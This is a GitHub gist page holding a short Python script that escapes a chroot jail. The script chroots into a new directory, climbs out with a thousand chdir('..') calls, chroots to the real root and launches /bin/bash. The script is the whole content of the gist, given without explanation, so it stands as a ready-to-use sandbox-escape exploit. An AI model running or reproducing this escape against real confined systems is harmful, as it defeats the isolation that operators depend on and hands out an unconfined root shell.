Created
October 16, 2022 23:59
-
-
Save FernandoCelmer/138fc47b0d0fda1d4b8637beb4038f4f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
os.mkdir("chroot-dir") | |
os.chroot("chroot-dir") | |
for i in range(1000): | |
os.chdir("..") | |
os.chroot(".") | |
os.system("/bin/bash") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment